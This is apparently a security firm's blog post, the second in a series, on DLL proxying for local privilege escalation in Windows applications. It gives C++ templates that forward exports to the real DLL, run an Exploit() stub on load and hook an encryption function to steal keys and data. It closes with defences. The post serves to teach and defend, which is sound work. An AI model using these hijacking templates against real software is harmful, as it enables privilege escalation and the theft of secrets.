11/03/2025
Blog technique
A way to find LPE in Windows App Part 2: How to perform a DLL proxying
Team CESTI
In the previous article, we explained how to find a Local Privilege Escalation using DLL sideloading. At the end, we observed the app crash after using the DLL of the attacker.
Why did it crash?
After loading the DLL, an exported function of this DLL is called, but this function is not implemented. After executing our payload, the product calls functions of the DLL (that it believes legitimate). As the function does not exist, the program crashes. Only the payload is executed.
To avoid this behavior, the DLL has to export the same functions as the original one. Did we have to code the whole DLL to add our payload at the loading step? Definitely not. The DLL proxying method can be used.

DLL Proxying in theory

DLL Proxying in real life
#pragma comment(linker, "/export:exportedFunction1=True_DLL.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=True_DLL.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=True_DLL.exportedFunction3")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
Exploit();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

This step can be automated, and there are multiple open-source projects that can be used for this purpose. In a Github project, the developer Magnus has compiled a collection of DLL functions export forwards for DLL export functions proxying. He also proposes a script to get the exported functions of a DLL.
$ ./exports.py version.dll
binary: version.dll
image base: 0x0000000180000000 (6442450944)
architecture: 64-bit
+----------------------------+--------------------------------+------------------+-----------+
| name | address (imagebase + relative) | relative address | ordinal |
+----------------------------+--------------------------------+------------------+-----------+
| GetFileVersionInfoA | 0x00000001800010f0 | 0x000010f0 | 1 (0x1) |
| GetFileVersionInfoByHandle | 0x0000000180002370 | 0x00002370 | 2 (0x2) |
| GetFileVersionInfoExA | 0x0000000180001e90 | 0x00001e90 | 3 (0x3) |
| GetFileVersionInfoExW | 0x0000000180001070 | 0x00001070 | 4 (0x4) |
| GetFileVersionInfoSizeA | 0x0000000180001010 | 0x00001010 | 5 (0x5) |
| GetFileVersionInfoSizeExA | 0x0000000180001eb0 | 0x00001eb0 | 6 (0x6) |
| GetFileVersionInfoSizeExW | 0x0000000180001090 | 0x00001090 | 7 (0x7) |
| GetFileVersionInfoSizeW | 0x00000001800010b0 | 0x000010b0 | 8 (0x8) |
| GetFileVersionInfoW | 0x00000001800010d0 | 0x000010d0 | 9 (0x9) |
| VerFindFileA | 0x0000000180001ed0 | 0x00001ed0 | 10 (0xa) |
| VerFindFileW | 0x0000000180002560 | 0x00002560 | 11 (0xb) |
| VerInstallFileA | 0x0000000180001ef0 | 0x00001ef0 | 12 (0xc) |
| VerInstallFileW | 0x0000000180003320 | 0x00003320 | 13 (0xd) |
| VerLanguageNameA | KERNEL32.VerLanguageNameA | 0x00004e6c | 14 (0xe) |
| VerLanguageNameW | KERNEL32.VerLanguageNameW | 0x00004e97 | 15 (0xf) |
| VerQueryValueA | 0x0000000180001030 | 0x00001030 | 16 (0x10) |
| VerQueryValueW | 0x0000000180001050 | 0x00001050 | 17 (0x11) |
+----------------------------+--------------------------------+------------------+-----------+
Edit & Steal

typedef BOOL (WINAPI *encryptionFunc)(HCRYPTKEY Key, BYTE *Data);
#include
#include
#include
#include
#pragma comment(linker, "/export:exportedFunction1=True_DLL.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=True_DLL.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=True_DLL.exportedFunction3")
// Function pointer to the real encryption function
typedef BOOL (WINAPI *encryptionFunc)(HCRYPTKEY Key, BYTE *Data);
// Pointer to the real encryption function
encryptionFunc Real_encryption = nullptr;
// Load the real dll and get the address of encryption
BOOL LoadRealencryption()
{
HMODULE hModule = LoadLibrary(TEXT("advapi32.dll"));
if (hModule)
{
Real_encryption = (encryptionFunc)GetProcAddress(hModule, "encryption");
if (Real_encryption)
{
return TRUE;
}
}
return FALSE;
}
// Proxy function for encryption
extern "C" __declspec(dllexport) BOOL WINAPI encryption(HCRYPTKEY Key, BYTE *Data)
{
// Log the parameters to a temporary file
Steal_Data_and_Key(Key, Data);
// Call the real encryption function
if (LoadRealencryption())
{
return Real_encryption(Key, Data);
}
return FALSE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
Exploit();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
How to protect your program from this type of attack?
To protect a product from this technique, it is possible to:
- Specify the full path to its library instead of loading it with only its name (use an absolute path instead of a relative one),
- Verify the DLL signature.
Furthermore, to check if this vulnerability can be exploited and if the program is vulnerable, it can be executed with Process Monitor in background (with a filter on “Not Found”) to find a forgotten bad call to an unavailable library.